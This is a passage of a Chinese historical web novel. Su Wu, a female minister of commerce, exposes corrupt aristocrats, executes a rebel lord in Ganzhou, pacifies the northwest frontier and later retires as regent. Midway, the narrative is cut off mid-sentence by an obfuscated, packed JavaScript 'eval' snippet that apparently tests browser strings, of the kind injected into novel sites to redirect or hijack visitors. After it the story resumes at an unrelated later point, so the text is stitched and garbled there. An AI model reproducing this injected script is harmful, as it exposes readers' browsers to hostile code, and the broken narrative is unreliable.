自就任商部尚书三月有余，苏芜便以雷霆手段整顿部务，将商部原有的冗官庸吏尽数裁汰，提拔了一批寒门出身、熟悉商情的官员，又重新制定了商税、盐运、海防贸易的细则：商税按商户规模分等征收，寒门小商户免征三年商税；盐运废除世家垄断，在全国设十处盐场官署，由商部直接管辖，盐价由朝廷统一定制，严禁抬价；海防贸易则设立市舶司，在广州、泉州、明州设三大市舶口岸，规范海外商船贸易，抽分征税，同时鼓励大靖商贩出海通商，由惠民商社牵头，组建商船队，与南洋、西域诸国互通有无。 这一系列新政推行，朝堂之上虽有温庭远等忠良之士支持，却也遭遇了世家残余势力的百般掣肘。江南士族经苏芜南下一役，虽元气大伤，却仍有残余势力盘踞在户部、礼部，暗中克扣商税银两，拖延盐场官署的设立；北方勋贵则借着边贸之利，与西北党项部落暗中勾结，垄断皮毛、良马贸易，对商部推行的边贸新政阳奉阴违，甚至在朝堂之上屡屡发难，称苏芜的新政“舍本逐末，重商轻农，动摇国本”。 这日早朝，户部尚书张峦，江南士族出身，率先出列，手持笏板躬身道：“陛下，商部推行新政三月，江南诸州商税虽有增收，却因免征寒门小商户税银，致使府库进项大减。如今西北诸州遭遇旱灾，边军缺粮缺饷，朝廷正需钱粮赈灾，苏尚书此举，实乃置朝廷安危于不顾，还请陛下下旨，废除寒门商户免税之令，重定商税细则。” 话音未落，北方勋贵代表，成国公朱启元亦出列附和：“张尚书所言极是。臣亦有本奏，西北边贸乃国之重事，历来由北方勋贵与边军共同打理，苏尚书执意让惠民商社插手边贸，竟还欲在西北设立互市口岸，此举不仅夺勋贵之利，更易引党项部落觊觎，恐生边患。还请陛下收回成命，令商部退出西北边贸，仍由旧制行事。” 二人一唱一和，身后立刻有十数名世家、勋贵官员出列，纷纷跪地请旨，要求废除苏芜的商部新政，一时之间，金銮殿上竟成了世家勋贵的一言堂，寒门官员虽有心反驳，却因势单力薄，只能面露焦急，敢怒而不敢言。 永熙帝坐在龙椅上，面色沉凝，手指轻轻敲击着龙椅扶手，目光落在丹陛之下的苏芜身上。他深知苏芜的新政利国利民，寒门商户免税是为了扶持底层商业，让民间经济活起来；盐运整顿是为了打破世家垄断，让百姓吃上平价盐；海防与边贸新政则是为了开辟新的税源，充实府库。可世家勋贵盘根错节，西北旱灾又迫在眉睫，边军缺粮的急报一日三至，朝廷府库确有空虚，张峦与朱启元的话，虽有私心，却也戳中了当下的痛点。 “苏爱卿。”永熙帝开口，声音沉稳，“张尚书与成国公所言，你可有话说？” 苏芜应声出列，躬身行礼，声音清亮，不卑不亢：“陛下，臣有奏。江南寒门商户免税，虽暂减府库进项，却让寒门商户得以喘息，三月间，江南新增寒门商户两千余家，这些商户虽暂不纳税，却能带动民生，促进手工业、种植业发展，假以时日，其所创之利，远非眼前商税所能比。至于西北赈灾与边军缺粮，臣以为，其根不在商税之薄，而在地方截留、边贸不畅。西北诸州的赈灾粮，年前便已由户部拨付，却至今未到百姓手中，臣怀疑，是地方官员与北方勋贵相互勾结，截留赈灾粮，高价售卖，中饱私囊；而西北边贸被勋贵垄断，党项部落无利可图，才生异动，边军缺粮缺饷，亦与勋贵克扣边贸税银、拖延军饷拨付有关。” 此言一出，金銮殿上一片哗然。张峦脸色骤变，厉声喝道：“苏芜，你血口喷人！户部赈灾粮拨付及时，何来截留之说？你身为商部尚书，不思整顿商税，反倒污蔑户部与北方勋贵，居心何在？” 朱启元更是怒目圆睁：“苏芜，你竟敢污蔑我北方勋贵！我朱氏世代镇守西北，忠君爱国，岂会做此等截留军饷、勾结外族之事？你若拿不出证据，便是欺君之罪！” “证据？”苏芜抬眸，目光如炬，落在朱启元身上，“成国公可知，西北甘州府的粮价，已从一石米三百文涨至一石两千文？可知甘州百姓流离失所，易子而食，而甘州府衙的粮库，却堆满了朝廷拨付的赈灾粮？可知党项部落的激进派，手中所持的兵器，竟是大靖边军的制式长刀？这些，皆是臣派惠民商社的伙计深入西北查访所得，证据皆在臣的奏疏之中，呈请陛下御览。” 说罢，苏芜抬手，身后的随侍太监即刻将一卷奏疏呈至龙案之上。奏疏之中，不仅有西北诸州粮价、百姓流离的实情记录，还有甘州府粮库囤积赈灾粮的画像，以及党项部落所持大靖制式兵器的物证清单，甚至还有北方勋贵与甘州府官员往来的书信抄件，字字句句，铁证如山。 永熙帝翻看奏疏，脸色越来越沉，看到“易子而食”四字时，猛地一拍龙椅，厉声喝道：“竖子敢尔！朕拨赈灾粮，是为了救西北百姓，尔等竟敢截留粮食，中饱私囊，视百姓性命如草芥，视朝廷律法如无物！张峦，朱启元，尔等还有何话可说？” 张峦与朱启元面如土色，噗通一声跪地，连连磕头：“陛下，臣冤枉！臣不知此事，皆是地方官员自作主张，与臣无关啊！” “无关？”苏芜冷冷开口，“户部掌管天下钱粮，赈灾粮拨付之后，竟不闻不问，任由地方截留，此乃失察之罪；成国公世代镇守西北，对地方官员与勋贵勾结之事视而不见，甚至纵容族弟朱启山垄断西北边贸，克扣边军饷银，此乃纵容之罪。失察与纵容，皆是重罪，二位大人，岂容抵赖？” 铁证如山，张峦与朱启元再也无法狡辩，只能瘫倒在地，痛哭流涕地请罪。金銮殿上的世家勋贵官员，见状皆噤若寒蝉，再也不敢多言，寒门官员则面露喜色，纷纷出列，请旨严惩张峦、朱启元，彻查西北截留赈灾粮之事。 永熙帝盛怒之下，当即下旨：将户部尚书张峦革职查办，打入天牢；成国公朱启元削去爵位，贬为庶民，其族弟朱启山即刻捉拿归案；命商部即刻着手调运粮食，赈济西北百姓，整顿西北边贸与吏治。 旨意下达，满朝文武无人再敢反对。永熙帝目光再次落在苏芜身上，语气稍缓：“苏爱卿，西北赈灾、整顿边贸与吏治，此事千头万绪，朝中诸卿，唯你深谙商情，又有惠民商社的网络可用，朕欲命你前往西北，全权督办此事，你可愿往？” 苏芜躬身，声音坚定：“臣，领旨。臣定当不负陛下所托，赈济西北百姓，彻查截留之罪，整顿边贸吏治，安西北之澜。” “好！”永熙帝龙颜大悦，“朕赐你节钺，可节制西北诸州府县官员、边军副将，便宜行事，先斩后奏。又赐你尚方宝剑，凡敢阻挠赈灾、勾结外族者，无论官职高低，勋贵与否，皆可斩之！命青禾随侍，王大统领芜锦卫与惠民商社护卫随行，赵老留京主持商部与惠民商社事务，保障后方粮草供应。三日后，即刻启程！” “臣，谢陛下隆恩！”苏芜再次躬身，领旨谢恩。 金銮殿上的阳光透过雕花窗棂，落在苏芜的绯色朝服上，织金的祥云纹样熠熠生辉。她立于百官之中，身姿挺拔，目光坚定，这一刻，满朝文武终于明白，这位从乡野走出的巾帼尚书，并非仅凭一时功绩登上朝堂，而是真正有能力、有手段，能为君分忧，为民请命的国之柱石。那些世家勋贵的掣肘与刁难，在她的智慧与果决面前，不过是螳臂当车，不堪一击。 三日后，京城西直门，旌旗招展，车马浩荡。 苏芜身着一身玄色织锦劲装，外罩一件月白披风，长发高束，用一根玉簪固定，腰间悬着尚方宝剑，手持节钺，立于马车之前。她身后，是五百名芜锦卫女子，皆身着劲装，腰佩长刀，身姿矫健，目光锐利；一旁，是两千名惠民商社的护卫，皆是身经百战的汉子，手持长枪，腰悬弓箭，严阵以待；青禾身着青色劲装，站在苏芜身侧，手中捧着文书卷宗，眼神中满是坚定——这一次，她不再只是打理起居的侍女，更是苏芜的左膀右臂，帮她处理西北赈灾的一切文书事务。 温庭远拄着拐杖，立于城门之下，须发皆白，却精神矍铄。他看着眼前的苏芜，眼中满是欣慰，抬手拍了拍她的肩膀：“苏芜，西北苦寒，且有勋贵残余、党项异动，此行凶险，你万事小心。记住，赈灾为先，安民为要，边贸以和为贵，吏治以严为纲。京城有老夫在，商部与惠民商社的后方供应，定不会出半点差错。你只管放手去做，老夫与寒门官员，皆是你坚实的后盾。” 苏芜看着温庭远，心中暖意融融。从锦绣阁的初见，到温府的暗中点拨，再到朝堂之上的鼎力支持，这位隐退老臣，于她而言，是师，是父，是引路人。她躬身行礼，声音恳切：“师父放心，臣定当谨记教诲，赈济百姓，整顿边贸，安守西北，不辱使命。京城之事，便劳烦师父多费心了。” “去吧。”温庭远摆了摆手，眼中满是期许，“老夫在京城，等你凯旋。” 苏芜点了点头，转身翻身上马，手中马鞭一挥，朗声道：“启程！” 马蹄声起，车轮滚滚，五百芜锦卫，两千惠民商社护卫，数十辆满载粮食、药材、布匹的马车，组成一支长长的队伍，朝着西北方向缓缓驶去。京城的百姓夹道相送，纷纷高呼“苏尚书千岁”，声音响彻云霄，久久不散。苏芜勒马立于队伍前方，回头望了一眼京城的城墙，眼底没有丝毫留恋，只有一片坚定。 西北，她来了。这一次，她不仅要赈济百姓，整顿边贸，更要彻底拔除世家勋贵在西北的根基，让商部新政在西北落地生根，让西北的百姓，也能过上安居乐业的日子。 永熙十三年的秋，大靖的西北大地，早已被旱灾折磨得满目疮痍。 从潼关往西，沿途皆是干裂的土地，地里的庄稼早已枯死，只剩下枯黄的秸秆，在秋风中瑟瑟发抖。道路两旁，随处可见流离失所的百姓，他们衣衫褴褛，面黄肌瘦，有的牵着孩子，有的背着老人，一路向西，想要逃到甘州、肃州等地，寻找一线生机。偶尔能看到几座村庄，早已荒无人烟，房屋倒塌，井台干涸，只有几只瘦骨嶙峋的野狗，在村口的枯树下啃食着草根，满目凄凉。 苏芜的队伍一路西行，所经之处，皆开仓放粮，救济百姓。每到一个州县，苏芜都会亲自登岸查访，查看百姓的受灾情况，询问赈灾粮的拨付情况，对那些拖延赈灾、敷衍塞责的地方官员，当即以节钺下令，革职查办，交由芜锦卫看管。对于那些无家可归的百姓，苏芜则让惠民商社的伙计就地搭建粥棚，供应热粥，同时组织百姓开垦荒地，挖掘水井，发放种子，让百姓能自食其力，不再流离失所。 青禾则每日忙前忙后，一边帮苏芜整理文书，记录各地的受灾情况和赈灾进度，一边照料苏芜的起居，提醒她注意休息。西北苦寒，风沙大，苏芜的脸颊被风沙吹得干裂，手上也磨出了茧子，可她依旧每日天不亮就起身，忙到深夜才歇息，从未有过一句怨言。青禾看在眼里，疼在心里，却也知道，苏芜的心中，装着的是西北的万千百姓，她不能停，也不敢停。 王大则统领着芜锦卫和惠民商社的护卫，一路护送粮草，保障苏芜的安全。西北的世家勋贵残余势力，见苏芜的队伍一路赈灾，整顿吏治，早已恨之入骨，多次派人暗中偷袭，想要抢夺粮草，刺杀苏芜，却都被王大与芜锦卫一一化解。芜锦卫的女子，身手矫健，心思细腻，不仅能上阵杀敌，还能深入民间，收集情报，成为了苏芜在西北最得力的耳目；惠民商社的护卫，皆是寒门出身，深知百姓的疾苦，为了保护赈灾粮，保护苏芜，个个奋勇当先，以命相搏。 这一日，队伍行至甘州府，甘州是西北的重镇，也是此次旱灾最严重的地区，更是北方勋贵残余势力的核心腹地。成国公朱启元被削爵后，其族弟朱启山便占据了甘州，自封为甘州守备，手握甘州府的兵权，截留了朝廷拨付的所有赈灾粮，囤积在府库之中，高价售卖，大发国难财，同时暗中勾结党项部落的激进派，资助他们兵器粮草，让他们在边境作乱，以此要挟朝廷，想要恢复朱家在西北的势力。 苏芜的队伍刚抵达甘州城外，就看到甘州府的城门紧闭，城墙上站满了士兵，个个手持弓箭，严阵以待，城门之上，挂着一面大旗，上书一个大大的“朱”字。朱启山身着铠甲，立于城门之上，居高临下地看着苏芜的队伍，语气倨傲：“苏芜，你乃一介女子，竟敢夺我朱家之利，削我兄长爵位，今日还敢擅闯甘州，真当我甘州无人不成？” 苏芜勒马立于队伍前方，抬眸看向朱启山，声音冷冽：“朱启山，你身为勋贵子弟，不思镇守西北，安抚百姓，反倒截留赈灾粮，大发国难财，勾结党项部落，挑起边患，克扣边军饷银，置边军生死于不顾，此等不忠不义、不仁不孝之徒，人人得而诛之。朕赐我节钺尚方宝剑，可节制西北诸州官员，先斩后奏，今日，我便替陛下，替西北百姓，取你项上人头！” “放肆！”朱启山大怒，“苏芜，你竟敢口出狂言！我甘州有精兵三万，你这点人马，也敢与我抗衡？今日，我便让你有来无回！” 说罢，朱启山挥手，城墙上的士兵立刻拉弓搭箭，朝着苏芜的队伍射来。箭雨如蝗，朝着队伍疾驰而去，王大当即下令：“防御！” 两千惠民商社的护卫立刻举起盾牌，组成一道坚固的盾墙，挡住了箭雨。芜锦卫的女子则纷纷拿出火铳，朝着城墙上的士兵射击，“砰！砰！砰！”的枪声震天，城墙上的士兵瞬间死伤惨重，纷纷倒地。 苏芜深知，朱启山手握甘州兵权，硬拼只会徒增伤亡，且甘州百姓还在城中，硬攻城池，必会伤及百姓。她抬手示意队伍停止进攻，对着城墙上的朱启山朗声道：“朱启山，你以为你依仗精兵三万，便能负隅顽抗？你可知，你勾结党项部落，资助他们兵器粮草的证据，我早已掌握？你可知，边军主将李将军，早已对你的所作所为忍无可忍，今日便会率边军前来，与我一同讨逆？你可知，甘州百姓对你截留赈灾粮的行为恨之入骨，早已暗中准备，欲里应外合，推翻你的统治？” 朱启山的脸色骤变，眼中闪过一丝慌乱。他确实勾结了党项部落，也确实克扣了边军饷银，边军主将李将军早已对他不满，只是碍于他手中的兵权，一直隐忍不发；而甘州百姓，因他截留赈灾粮，早已民怨沸腾，城中确实有不少百姓暗中想要反抗。苏芜的话，字字戳中他的要害，让他不由得心中发慌。 就在此时，远处传来一阵马蹄声，尘土飞扬，一支数万人的军队，朝着甘州城疾驰而来，为首的一位将军，身着银色铠甲，手持长枪，正是边军主将李将军。李将军勒马立于苏芜身侧，对着城墙上的朱启山大喝道：“朱启山，你勾结外族，截留赈灾粮，克扣军饷，罪大恶极，今日，我率边军三万，前来讨逆，识相的，速速开城投降，否则，踏平甘州城！” 城墙上的士兵，见边军大军压境，早已军心大乱。他们大多是甘州本地的百姓，因旱灾流离失所，被朱启山强征入伍，本就对朱启山的所作所为不满，如今见边军前来，更是无心恋战，纷纷放下弓箭，想要投降。 朱启山见大势已去，想要拔剑自刎，却被身边的亲兵死死按住。亲兵们早已对朱启山不满，纷纷倒戈，打开了甘州城的城门，将朱启山绑了起来，送到了苏芜面前。 苏芜勒马下马，走到朱启山面前，目光冷冽：“朱启山，你可知罪？” 朱启山瘫在地上，面如土色，却依旧嘴硬：“苏芜，我朱家世代镇守西北，功不可没，你今日废我兄长，擒我于阵前，他日，我朱家定当报仇雪恨！” “报仇雪恨？”苏芜冷笑，“你朱家镇守西北，本是职责所在，却借着权势，垄断边贸，克扣军饷，如今更是截留赈灾粮，勾结外族，此等罪行，死不足惜！” 说罢，苏芜抬手，拔出腰间的尚方宝剑，剑光一闪，朱启山的人头落地，鲜血溅在干裂的土地上，晕开一小片暗沉的红。 甘州城的百姓，见朱启山被斩，纷纷走出家门，跪在地上，对着苏芜连连磕头：“苏尚书，您真是我们的活菩萨啊！您为我们除掉了朱启山这个恶霸，我们终于有活路了！” 苏芜扶起百姓，轻声道：“诸位乡亲，不必如此。我乃朝廷尚书，赈济百姓，除暴安良，是我的本分。今日，我便开仓放粮，平价售盐，让大家都能吃上饱饭，穿上暖衣。” 话音未落，百姓们纷纷欢呼起来，声音响彻甘州城的上空。 苏芜进入甘州府后，当即下令打开府库，将朱启山截留的赈灾粮全部拿出，开仓放粮，以一石米三百文的平价，售卖粮食给百姓；同时，将朱启山囤积的食盐全部拿出，以朝廷统一定价售卖，让百姓吃上平价盐。又下令彻查朱启山的党羽，凡是参与截留赈灾粮、勾结外族的官员，一律革职查办，罪大恶极者，当即斩首；对于那些被朱启山强征入伍的百姓，一律遣散回家，发放粮食和种子，让他们回家务农。 青禾则带着芜锦卫的女子，深入甘州城的大街小巷，安抚百姓，记录百姓的受灾情况，为百姓发放药材和布匹，治疗那些因旱灾和饥饿生病的百姓。王大则统领着惠民商社的护卫，接管了甘州府的城防，维护甘州城的治安，同时组织百姓开垦荒地，挖掘水井，重建家园。 短短十日，甘州府的局势便稳定下来，百姓安居乐业，街头巷尾恢复了往日的生机，再也不见往日的流离与凄凉。 解决了甘州的内乱，苏芜便着手处理党项部落的边患问题。 党项部落盘踞在西北边境，分为三大部落，分别是亲靖的拓跋部落，以及激进的野利部落、米擒部落。朱启山在位时，为了垄断边贸，故意打压拓跋部落，暗中资助野利、米擒部落，挑唆他们在边境作乱，抢夺百姓财物，袭击大靖边军，致使边贸断绝，百姓流离。苏芜深知，想要平定边患，不能一味用兵，只能以和为贵，分化瓦解党项部落，扶持亲靖的拓跋部落，打击激进的野利、米擒部落，同时恢复边贸，让党项部落有利可图，这样才能从根本上解决边患问题。 于是，苏芜派林薇，芜锦卫统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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西北的惜春坊分坊，迎来的第一批孤女，有五十余名，最大的十八岁，最小的只有七岁。她们皆是因旱灾和边患失去了家人，流离失所，有的甚至被人贩子拐卖，幸得芜锦卫的女子救下，才得以进入惜春坊。苏芜时常去惜春坊，教这些孤女刺绣，教她们辨识草药，教她们做人的道理，告诉她们：“女子并非只能依附男子生存，西北的天地广阔，靠着自己的双手，你们也能活得有尊严，有底气。” 这些孤女，看着苏芜，看着这位从乡野走出，如今成为大靖商部尚书，平定西北乱局，拯救西北百姓的巾帼英雄，心中满是敬佩与向往。她们暗暗发誓，一定要努力学习技艺，像苏芜一样，靠自己的力量，活下去，活得好，将来也能为西北的百姓，为大靖的江山，贡献自己的一份力量。 永熙十四年，春。 西北的大地，终于迎来了一场春雨。淅淅沥沥的春雨，落在干裂的土地上，滋润着沉睡的万物，地里的庄稼冒出了嫩绿的新芽，道路两旁的树木抽出了新枝，西北的大地，重新焕发出勃勃生机。 经过半年的整顿，西北的旱灾得到了缓解，百姓安居乐业，边贸繁荣，吏治清明，党项部落与大靖和平共处，西北诸州，一片安定祥和。苏芜的赈灾与整顿之功，传遍了西北的每一个角落，西北的百姓，皆称苏芜为“苏青天”，为她立生祠，岁岁祭祀，感念她的救命之恩。 苏芜知道，西北的局势已然稳定，她也该返回京城，向皇帝复命了。 临行前，苏芜站在甘州的边贸互市口岸，看着往来的商贩，看着大靖的粮食、布匹被运往党项部落，看着党项部落的皮毛、良马被运往大靖内地，看着百姓们脸上洋溢的笑容，心中满是欣慰。她身旁，青禾、王大、林薇站在一侧，眼中也满是笑意。这半年的西北之行，他们历经风雨，出生入死，终于不负陛下所托，不负百姓所望，平定了西北的乱局，安澜了西北的江山。 “走吧。”苏芜轻声道，“我们回京城。” 马蹄声起，车轮滚滚，苏芜的队伍，朝着京城的方向，缓缓驶去。西北的百姓，夹道相送，纷纷高呼“苏尚书千岁”，声音响彻西北的天空，久久不散。苏芜勒马立于队伍前方，回头望了一眼西北的大地，眼底满是留恋与坚定。 西北，她来过，她战过，她守护过。这里的土地，这里的百姓，都将成为她生命中，最珍贵的记忆。 永熙十四年，暮春。 苏芜的队伍，抵达京城。 永熙帝率满朝文武，亲自到京城西直门迎接，这是大靖开国以来，第一次皇帝率百官迎接一位大臣，足见永熙帝对苏芜的器重与赏识。京城的百姓，也夹道相送，欢呼之声，响彻云霄。 金銮殿上，苏芜身着商部尚书朝服，手持象牙笏板，躬身向永熙帝复命，将西北赈灾、整顿吏治、平定边患、恢复边贸的经过，一一奏明。奏疏之中，不仅有西北的整顿成果，还有西北边贸的税收明细，仅半年时间，西北边贸的税收，便充实了朝廷府库百万两白银，远超往年。 永熙帝听后，龙颜大悦，当即下旨，在金銮殿上嘉奖苏芜：“苏芜持节西行，赈济西北百姓，彻查截留之罪，平定党项边患，恢复西北边贸，吏治清明，民生富庶，边贸繁荣，功绩卓著，远超古之良将贤臣。朕嘉其功，念其劳，特加封苏芜为同中书门下平章事，入政事堂，参与核心朝政，仍领商部尚书，加太子太保，赏黄金千两，绸缎百匹，钦此！” 同中书门下平章事，乃大靖的宰辅之职，入政事堂，参与核心朝政，这意味着，苏芜从此成为了大靖王朝的核心重臣，真正站在了朝堂的巅峰。太子太保，从一品官衔，更是对她功绩的最大肯定。 这道旨意，下达之时，金銮殿上，满朝文武，无一人反对。世家勋贵的残余势力，早已被苏芜的手段震慑，再也不敢有任何异议；寒门官员，则面露喜色，纷纷向苏芜道贺。这一刻，苏芜，这位从乡野走出的孤女，这位曾是锦绣阁杂役的女子，终于凭借自己的努力与智慧，一步步走到了朝堂的巅峰，成为了大靖王朝历史上，第一位女宰辅，第一位入政事堂的女子。 苏芜躬身，接过圣旨，声音清亮，坚定有力：“臣苏芜，接旨！谢陛下隆恩！臣定当恪尽职守，忠君爱国，为民请命，与诸公共辅陛下，共创大靖万世之基！” 丹陛之上，永熙帝看着苏芜，眼中满是赞赏。丹陛之下，温庭远看着苏芜，眼中满是欣慰。青禾、王大、赵老，站在朝班之外，看着苏芜，眼中满是骄傲。 金銮殿上的龙涎香，依旧袅袅，鎏金铜鹤里的沉香，依旧燃得正旺。苏芜立于政事堂大臣之列，身着绯色织金朝服，头戴七梁冠，腰系玉带，手持象牙笏板，身姿挺拔，目光坚定。她的身后，是大靖的万里江山，是万千的黎民百姓；她的身前，是开明的君主，是支持她的忠良之士。 她从尘泥里走来，历经风雨，受尽磨难，却始终坚守本心，不攀附，不妥协，不将就，靠着自己的韧性、智慧与双手，一步步走出了尘泥，走到了朝堂的巅峰，活成了自己的光，活成了大靖王朝万千女子的光，活成了大靖王朝历史上，最耀眼的巾帼传奇。 此后，苏芜以同中书门下平章事、商部尚书的身份，入政事堂，参与核心朝政。她继续推行商部新政，扶持寒门商户，发展民间商业；她继续整顿盐运、海防与边贸，让大靖的商业，走向南洋，走向西域，走向更远的地方；她继续开设惜春坊，收养孤女，传授技艺，让大靖的女子，能摆脱依附男子的命运，靠自己的双手，活得有尊严，有底气；她继续资助寒门子弟读书，为朝廷输送人才，让大靖的朝堂，越来越清明，越来越公正。 她的身边，青禾始终陪伴，帮她处理文书，打理起居；王大统领芜锦卫，守护她的安全，主持惠民商社的护卫事务；赵老主持商部与惠民商社的日常事务，保障全国的商业与民生；林薇则统领芜锦卫，深入民间，收集情报，保护惜春坊的孤女，成为了大靖女子的守护者。温庭远则与苏芜一同，在政事堂中，为君分忧，为民请命，辅佐永熙帝，开创了大靖王朝的“永熙盛世”。 永熙二十八年，永熙帝驾崩，太子即位，改元景和。 景和帝年幼，由苏芜与温庭远共同辅政。苏芜以辅政大臣、商部尚书、同中书门下平章事的身份，继续执掌朝政，推行利国利民的政策，守护着大靖的万里江山，守护着大靖的万千百姓。 此时的苏芜，已年近四十，眉眼间添了岁月的沉淀，却依旧沉稳果决，目光坚定。她一生未嫁，没有依附任何男子，没有卷入任何感情纠葛，始终独美，始终坚定，始终坚守着自己的本心，从尘泥里的孤女，到锦绣阁的杂役，到诰命夫人，到商部尚书，再到宰辅、辅政大臣，她用自己的一生，诠释了什么是“靠人不如靠己”，什么是真正的大女主。 这一日，苏芜立于皇宫的紫宸殿外，看着京城的万家灯火，看着大靖的万里江山，眼底满是平静与淡然。青禾走到她身边，与她并肩而立，轻声道：“苏尚书，你看，这大靖的江山，这京城的繁华，皆是你一手缔造的。” 苏芜笑了笑，转头看向青禾，眼底满是暖意：“这并非我一人之功，是陛下的圣明，是师父的辅佐，是你，是王大，是赵老，是所有寒门百姓，是所有惜春坊的孤女，是所有支持我的人，一同缔造的。” 10. 盛世归宁·锦岁长明 景和七年，冬。 大靖的京城，落了一场经年不遇的瑞雪。鹅毛大雪覆了朱墙金瓦，掩了青石板路，将整座皇城裹成了一片银装素裹的天地。宫墙之外，市井间却无半分寒冬的萧索，临街的铺子挂着红绸灯笼，雪光映着灯笼上的“福”字，暖融融的红透了半条街。挑着货担的小贩踩着薄雪吆喝，酒肆里飘出温酒的醇香，惠民商社的伙计推着满载年货的车，给寒门商户送着新年的米面油盐，处处皆是国泰民安的盛世光景。 紫宸殿的暖阁里，龙涎香混着松枝的清冽，漫在雕梁画栋之间。景和帝已是十四岁的少年天子，身着明黄龙袍，正伏案看着奏折，眉眼间已有了帝王的沉稳。苏芜立于案侧，身着深绯色织金朝服，头戴七梁冠，腰系玉带，鬓边仅簪一支羊脂玉簪，岁月在她眉眼间刻下了温润的沉淀，四十余岁的年纪，眼底依旧清亮，只是少了当年的锋芒，多了几分阅尽千帆的平和。她手指轻点在奏折上的一处，轻声道：“陛下，江南漕运新渠已成，商部已核定漕船通行章程，寒门商户的漕运税银减半，此举既能疏解江南粮运压力，又能扶持民间商贸，只需陛下御笔朱批，便可推行。” 景和帝抬眸，看向苏芜，眼中满是敬重：“苏相所言，朕自然信得过。这七年，若不是苏相与温太傅辅政，整顿朝纲，兴商富民，何来今日的盛世？朕虽已亲政，却仍需苏相多多提点。” 苏芜躬身颔首：“陛下天资聪颖，亲政以来，轻徭薄赋，体恤民情，已是明君之相。臣不过是尽辅政之责，不敢居功。” 暖阁的门被轻轻推开，温庭远由小太监搀扶着走进来，须发皆白，步履稍缓，却依旧精神矍铄。他看着殿中二人，笑着道：“陛下与苏相倒是相谈甚欢，老臣刚从户部过来，今年全国商税较之永熙初年，翻了三倍，西北边贸、岭南海贸的进项，更是充实了府库，这皆是苏相的功劳啊。” 苏芜回身，对着温庭远拱手：“师父过誉了，若无师父在朝堂之上稳住大局，为臣撑腰，商部的新政也难以推行。今日的盛世，是君臣同心，朝野共济的结果。” 三人相视一笑，暖阁里的气氛融融。自景和帝即位，苏芜与温庭远共同辅政七载，这七年，大靖的盛世更胜往昔：商部新政遍及全国，寒门商户遍布州县，惠民商社的分坛开至塞外与南洋，大靖的绣品、瓷器、茶叶顺着海路销往西洋，西域的珠宝、南洋的香料沿着陆路走进京城；全国各州府皆设惜春坊与义学，孤女有技可学，寒门子弟有书可读，朝堂之上，寒门官员已占半数，女子虽未开科举，却可通过技艺入官署任职，绣坊、药行、商署之中，随处可见女子主事的身影；西北党项部落早已与大靖融为一体，拓跋部落的子弟入太学读书，党项的皮毛、良马成为大靖边贸的核心物资，岭南海疆安宁，市舶司的商船千帆竞渡，再也无倭寇海盗袭扰；全国吏治清明，贪腐之事几近绝迹，百姓安居乐业，路不拾遗，夜不闭户，坊间皆传“景和盛世，胜似文景”。 而这一切的背后，皆是苏芜半生的心血。从苏家村的孤女，到锦绣阁的杂役，从一品诰命夫人，到商部尚书，再到同中书门下平章事，辅政大臣，她一步一步，从尘泥里走到朝堂之巅，一手缔造了大靖的商业盛世，一手撑起了寒门子弟与女子的希望。只是半生操劳，也让她添了些许病根，冬日里畏寒，伏案久了便会头晕，青禾总劝她歇一歇，她却总说，盛世虽至，却需守成，一日不卸任，便一日不敢懈怠。 这日朝后，苏芜回到商部官署，青禾早已备好了温茶与暖炉，见她进来，连忙上前接过她的笏板与披风：“相爷，今日天寒，您在宫里头待了半日，快暖暖身子。方才赵老派人来报，惠民商社总坛的年货已经备齐，各地分坛的物资也都发出去了，西北与岭南的惜春坊，也都收到了京城送去的绸缎与药材。” 苏芜接过温茶，喝了一口，暖意从喉咙漫到心底：“辛苦赵老了，他今年也年过七旬，该让他多歇歇，惠民商社的事，也该慢慢交予后辈了。” “赵老说，只要相爷还在任，他便守着惠民商社一日。”青禾笑着道，又递上一封书信，“还有，江南苏州府的惜春坊分坊寄来的信，说今年新学成的孤女有两百余人，其中三十人绣技超群，已被选入锦绣阁御绣坊，还有五十人学了算账与商情，想去南洋的市舶司任职。” 苏芜接过书信，细细看着，嘴角噙着温柔的笑意。惜春坊，是她半生最牵挂的牵挂。从京城第一家惜春坊，到如今全国百余家分坊，收养的孤女逾万人，这些女子，有的成了绣娘，有的成了药姑，有的成了商贩，有的入了官署，皆靠着自己的双手，活成了独立的模样。这便是她最初的心愿，让天下孤女，皆有枝可依，皆有业可守，皆能活得有尊严，有底气。 正看着信，王大匆匆走进来，一身玄色劲装，虽已年近五十，依旧身姿挺拔。他对着苏芜拱手：“相爷，芜锦卫的巡防事宜已安排妥当，新年期间，京城与各地的惜春坊、惠民商社分坛，皆有芜锦卫值守，不会出半点差错。还有，西北拓跋部落的拓跋少主派人送来贺礼，说感念大靖的恩德，特送良马百匹，皮毛千张，贺新年。” 苏芜点头：“拓跋部落有心了，让商部回赠丝绸百匹，瓷器千件，还有太学的典籍五十套，让拓跋少主的子弟好好读书。芜锦卫的兄弟们也辛苦了，新年的赏银加倍，让大家好好过个年。” 王大应了声“是”，脸上露出憨厚的笑容。数十年相伴，他从最初跟着苏芜的寒门汉子，到如今统领芜锦卫的统领，看着苏芜一步步走到今日，看着大靖从风雨飘摇到盛世太平，心中满是感慨。当年的一群人，如今都已鬓生华发，却依旧守着最初的初心，守着苏芜，守着这大好的盛世。 腊月廿八，京城的年味已是浓得化不开。苏芜向景和帝递上了辞呈，请求卸去辅政大臣与商部尚书之职，归宁田园。 辞呈递上的那一刻，景和帝愣了许久，当即召苏芜入养心殿，执意挽留：“苏相，朕刚亲政不久，朝堂之上仍需你坐镇，商部事务更是离不了你，你为何要辞官？” 苏芜跪在丹陛之下，俯身道：“陛下，臣半生操劳，如今已是心力交瘁，加之身有微恙，恐再难担辅政之责。如今大靖盛世已成，朝有贤才，野有良民，户部有张大人，兵部有李将军，商部也有年轻的官员可堪大用，陛下亲政以来，处事明断，已是能独掌乾坤的明君，臣已无后顾之忧。臣半生漂泊，如今只想寻一处安静之地，养花种草，安度余生。” 